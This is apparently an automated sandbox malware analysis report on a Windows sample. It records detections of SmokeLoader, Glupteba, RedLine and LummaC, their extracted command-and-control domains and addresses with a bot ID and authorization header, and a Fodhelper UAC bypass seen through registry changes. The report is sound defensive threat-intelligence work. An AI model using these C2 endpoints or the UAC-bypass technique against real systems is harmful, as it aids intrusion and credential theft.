3.2.faischf.9b0e67.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
27.3.C1FD.exe.36a0000.3.unpack	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
17.3.C1FD.exe.36a0000.1.unpack	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
3.2.faischf.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
45.2.C1FD.exe.400000.3.unpack	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
16.2.AF9D.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
45.3.C1FD.exe.38c0000.7.unpack	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
17.2.C1FD.exe.2db0e67.9.unpack	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
45.2.C1FD.exe.2fd0e67.12.unpack	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
27.2.C1FD.exe.2db0e67.11.unpack	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
17.2.C1FD.exe.400000.7.unpack	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
27.2.C1FD.exe.400000.5.unpack	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
Click to see the 20 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: NBHEkIKDCr.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://neighborhoodfeelsa.fun/apilr	Avira URL Cloud: Label: malware
Source: http://diagramfiremonkeyowwa.fun/3~	Avira URL Cloud: Label: malware
Source: dayfarrichjwclik.fun	Avira URL Cloud: Label: malware
Source: http://diagramfiremonkeyowwa.fun:80/api	Avira URL Cloud: Label: malware
Source: http://neighborhoodfeelsa.fun/	Avira URL Cloud: Label: malware
Source: http://stualialuyastrelia.net:80/	Avira URL Cloud: Label: malware
Source: politefrightenpowoa.pw	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000000.00000002.1703049912.00000000025E1000.00000004.10000000.00040000.00000000.sdmp	Malware Configuration Extractor: SmokeLoader {"Version": 2022, "C2 list": ["http://snukerukeutit.org/", "http://lightseinsteniki.org/", "http://tyiuiunuewqy.org/", "http://liuliuoumumy.org/", "http://tonimiuyaytre.org/"]}
Source: 0000000C.00000002.2289445818.0000000003A61000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: RedLine {"C2 url": "38.47.221.193:34368", "Bot Id": "1218-55000", "Authorization Header": "3da2f8475e5f2664f76901c3a1bcb002"}
Source: 13.2.933A.exe.400000.0.raw.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["reviveincapablewew.pw", "dayfarrichjwclik.fun", "neighborhoodfeelsa.fun", "ratefacilityframw.fun", "reviveincapablewew.pw", "cakecoldsplurgrewe.pw", "opposesicknessopw.pw", "politefrightenpowoa.pw"], "Build id": "MyRnHu--Install18"}

Multi AV Scanner detection for domain / URL

Source: linkofstrumble.com	Virustotal: Detection: 5%	Perma Link
Source: ftpvoyager.cc	Virustotal: Detection: 16%	Perma Link
Source: cream.hitsturbo.com	Virustotal: Detection: 18%	Perma Link
Source: lightseinsteniki.org	Virustotal: Detection: 20%	Perma Link
Source: snukerukeutit.org	Virustotal: Detection: 21%	Perma Link
Source: sumagulituyo.org	Virustotal: Detection: 21%	Perma Link
Source: stualialuyastrelia.net	Virustotal: Detection: 23%	Perma Link
Source: dayfarrichjwclik.fun	Virustotal: Detection: 18%	Perma Link
Source: liuliuoumumy.org	Virustotal: Detection: 20%	Perma Link
Source: humydrole.com	Virustotal: Detection: 15%	Perma Link
Source: neighborhoodfeelsa.fun	Virustotal: Detection: 19%	Perma Link
Source: diagramfiremonkeyowwa.fun	Virustotal: Detection: 18%	Perma Link
Source: shpilliwilli.com	Virustotal: Detection: 16%	Perma Link
Source: onualituyrs.org	Virustotal: Detection: 19%	Perma Link
Source: dayfarrichjwclik.fun	Virustotal: Detection: 18%	Perma Link
Source: http://diagramfiremonkeyowwa.fun:80/api	Virustotal: Detection: 14%	Perma Link
Source: http://neighborhoodfeelsa.fun/	Virustotal: Detection: 19%	Perma Link
Source: http://stualialuyastrelia.net:80/	Virustotal: Detection: 23%	Perma Link
Source: politefrightenpowoa.pw	Virustotal: Detection: 16%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Program Files (x86)\PRingTone\PRingTone.exe	ReversingLabs: Detection: 35%
Source: C:\Program Files (x86)\PRingTone\PRingTone.exe	Virustotal: Detection: 37%			Perma Link

Multi AV Scanner detection for submitted file

Source: NBHEkIKDCr.exe	ReversingLabs: Detection: 40%
Source: NBHEkIKDCr.exe	Virustotal: Detection: 45%			Perma Link

Yara detected Glupteba

Source: Yara match	File source: 27.3.C1FD.exe.36a0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.3.C1FD.exe.36a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.2.C1FD.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.3.C1FD.exe.38c0000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.C1FD.exe.2db0e67.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.2.C1FD.exe.2fd0e67.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.C1FD.exe.2db0e67.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.C1FD.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.C1FD.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000003.2160333190.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2213490486.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.4114001709.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000002.4113654029.0000000003413000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2202746123.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2203382140.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000002.4104507034.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.4105881536.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000003.2257422234.0000000003D02000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: C1FD.exe PID: 3164, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: C1FD.exe PID: 4008, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: C1FD.exe PID: 676, type: MEMORYSTR

Machine Learning detection for dropped file

Source: C:\Program Files (x86)\PRingTone\PRingTone.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: NBHEkIKDCr.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_004432A0 _strlen,CryptStringToBinaryA,CryptStringToBinaryA,		13_2_004432A0
Source: C:\Users\user\AppData\Local\Temp\933A.exe	Code function: 13_2_00B63507 _strlen,CryptStringToBinaryA,CryptStringToBinaryA,		13_2_00B63507

Source: 76D5.exe, 00000007.00000002.4105257211.0000000000400000.00000040.00000400.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_ad139d44-b

Privilege Escalation

UAC bypass detected (Fodhelper)

Source: C:\Users\user\AppData\Local\Temp\C1FD.exe	Registry value created: DelegateExecute
Source: C:\Users\user\AppData\Local\Temp\C1FD.exe	Registry value created: NULL "C:\Users\user\AppData\Local\Temp\C1FD.exe"

Bitcoin Miner

Yara detected Glupteba

Source: Yara match	File source: 27.3.C1FD.exe.36a0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.3.C1FD.exe.36a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.2.C1FD.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.3.C1FD.exe.38c0000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.C1FD.exe.2db0e67.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.2.C1FD.exe.2fd0e67.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.C1FD.exe.2db0e67.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.C1FD.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.C1FD.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000003.2160333190.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2213490486.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.4114001709.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000002.4113654029.0000000003413000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2202746123.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2203382140.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000002.4104507034.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.4105881536.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000003.2257422234.0000000003D02000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: C1FD.exe PID: 3164, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: C1FD.exe PID: 4008, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: C1FD.exe PID: 676, type: MEMORYSTR

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Temp\933A.exe	Unpacked PE file: 13.2.933A.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\C1FD.exe	Unpacked PE file: 17.2.C1FD.exe.400000.7.unpack
Source: C:\Users\user\AppData\Local\Temp\C1FD.exe	Unpacked PE file: 27.2.C1FD.exe.400000.5.unpack
Source: C:\Program Files (x86)\PRingTone\PRingTone.exe	Unpacked PE file: 39.2.PRingTone.exe.400000.0.unpack
Source: C:\Program Files (x86)\PRingTone\PRingTone.exe	Unpacked PE file: 42.2.PRingTone.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\C1FD.exe	Unpacked PE file: 45.2.C1FD.exe.400000.3.unpack

Source: NBHEkIKDCr.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\NBHEkIKDCr.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 209.58.180.90:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.45.142:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.185.93:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 86.59.21.38:443 -> 192.168.2.4:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.188.40.189:443 -> 192.168.2.4:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 198.50.191.95:443 -> 192.168.2.4:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.23.244.244:443 -> 192.168.2.4:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 51.15.142.0:443 -> 192.168.2.4:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.13.164.118:443 -> 192.168.2.4:49861 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.36.38.33:443 -> 192.168.2.4:49882 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 195.201.94.113:443 -> 192.168.2.4:49884 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 50.7.8.141:443 -> 192.168.2.4:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.249.230.155:443 -> 192.168.2.4:49959 version: TLS 1.2

Source:	Binary string: Loader.pdb source: C1FD.exe, 00000011.00000003.2160333190.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2213490486.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000002.4114001709.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.0000000003413000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003D02000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: EfiGuardDxe.pdb7 source: C1FD.exe, 00000011.00000002.2212474597.00000000029B5000.00000040.00000020.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4113310706.00000000028B7000.00000040.00000020.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4112737827.0000000002BD7000.00000040.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\xujusadegaf99 ponafiba\hacivujok.pdb source: C1FD.exe, 00000011.00000000.2150083292.000000000080B000.00000002.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000000.2186573700.000000000080B000.00000002.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000000.2248878266.000000000080B000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: Unrecognized pdb formatThis error indicates attempting to access a .pdb file with source: C1FD.exe, 00000011.00000003.2160333190.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 00000011.00000002.2213490486.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4114001709.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.000000000369C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: A connection with the server could not be establishedAn extended error was returned from the WinHttp serverThe .pdb file is probably no longer indexed in the symbol server share location. source: C1FD.exe, 00000011.00000003.2160333190.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 00000011.00000002.2213490486.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4114001709.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.000000000369C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: Z:\Development\SecureEngine\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\Release\XBundlerTlsHelper.pdb source: 8FEE.exe, 0000000C.00000002.2285445883.0000000000BC4000.00000040.00000001.01000000.0000000A.sdmp
Source:	Binary string: Age does not matchThe module age and .pdb age do not match. source: C1FD.exe, 00000011.00000003.2160333190.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 00000011.00000002.2213490486.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4114001709.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.000000000369C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: symsrv.pdb source: C1FD.exe, 00000011.00000003.2160333190.0000000003F18000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2213490486.0000000003629000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000C7A000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000002.4114001709.0000000003629000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003F18000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000C7A000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000C7A000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000004138000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4113654029.0000000003849000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: Cvinfo is corruptThe .pdb file contains a corrupted debug codeview information. source: C1FD.exe, 00000011.00000003.2160333190.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 00000011.00000002.2213490486.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4114001709.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.000000000369C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: i8C:\xujusadegaf99 ponafiba\hacivujok.pdb source: C1FD.exe, 00000011.00000000.2150083292.000000000080B000.00000002.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000000.2186573700.000000000080B000.00000002.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000000.2248878266.000000000080B000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: Downloading symbols for [%s] %ssrvsymsrvhttp://https://_bad_pdb_file.pdb source: C1FD.exe, 00000011.00000003.2160333190.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 00000011.00000002.2213490486.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4114001709.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.000000000369C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\sorokekaluyi\jecoxi.pdb source: 76D5.exe, 00000006.00000002.1984191647.00000000005CA000.00000002.00000001.01000000.00000006.sdmp, 76D5.exe, 00000006.00000000.1958711295.00000000005CA000.00000002.00000001.01000000.00000006.sdmp, 76D5.exe, 00000007.00000000.1983305367.00000000005CA000.00000002.00000001.01000000.00000006.sdmp, csrss.exe, 0000000E.00000002.2096354290.00000000005CA000.00000002.00000001.01000000.0000000D.sdmp, csrss.exe, 0000000E.00000000.2086931556.00000000005CA000.00000002.00000001.01000000.0000000D.sdmp, csrss.exe, 0000000F.00000000.2095277660.00000000005CA000.00000002.00000001.01000000.0000000D.sdmp, csrss.exe, 00000018.00000000.2176019317.00000000005CA000.00000002.00000001.01000000.0000000D.sdmp, csrss.exe, 00000018.00000002.2196781643.00000000005CA000.00000002.00000001.01000000.0000000D.sdmp, csrss.exe, 0000001E.00000000.2188611010.00000000005CA000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: The symbol server has never indexed any version of this symbol fileNo version of the .pdb file with the given name has ever been registered. source: C1FD.exe, 00000011.00000003.2160333190.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 00000011.00000002.2213490486.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4114001709.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.000000000369C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: PDB not foundUnable to locate the .pdb file in any of the symbol search path locations. source: C1FD.exe, 00000011.00000003.2160333190.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 00000011.00000002.2213490486.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4114001709.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.000000000369C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\Users\Admin\documents\visual studio 2015\Projects\Winmon\Release\Winmon.pdb source: C1FD.exe, 00000011.00000003.2160333190.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2213490486.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000002.4114001709.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.0000000003413000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003D02000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\vbox\branch\w64-1.6\out\win.amd64\release\obj\src\VBox\HostDrivers\VBoxDrv\VBoxDrv.pdb source: C1FD.exe, 00000011.00000003.2160333190.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2213490486.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000002.4114001709.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.0000000003413000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003D02000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\nuzo\jagivuculevex.pdb source: NBHEkIKDCr.exe
Source:	Binary string: c:\Users\Admin\documents\visual studio 2015\Projects\Winmon\x64\Release\Winmon.pdb source: C1FD.exe, 00000011.00000003.2160333190.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2213490486.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000002.4114001709.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.0000000003413000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003D02000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: Drive not readyThis error indicates a .pdb file related failure. source: C1FD.exe, 00000011.00000003.2160333190.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 00000011.00000002.2213490486.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4114001709.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.000000000369C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\mayuhayihoh 93\toha3\mozotalofe\xaguwoci 16\xotuw.pdb source: AF9D.exe, 00000010.00000002.2159925115.0000000000428000.00000002.00000001.01000000.0000000E.sdmp, AF9D.exe, 00000010.00000000.2102075728.0000000000428000.00000002.00000001.01000000.0000000E.sdmp, cwischf, 00000030.00000000.2365833348.0000000000428000.00000002.00000001.01000000.00000018.sdmp, cwischf, 00000030.00000002.2424049185.0000000000428000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: Error while loading symbolsUnable to locate the .pdb file in any of the symbol search source: C1FD.exe, 00000011.00000003.2160333190.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 00000011.00000002.2213490486.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4114001709.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.000000000369C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 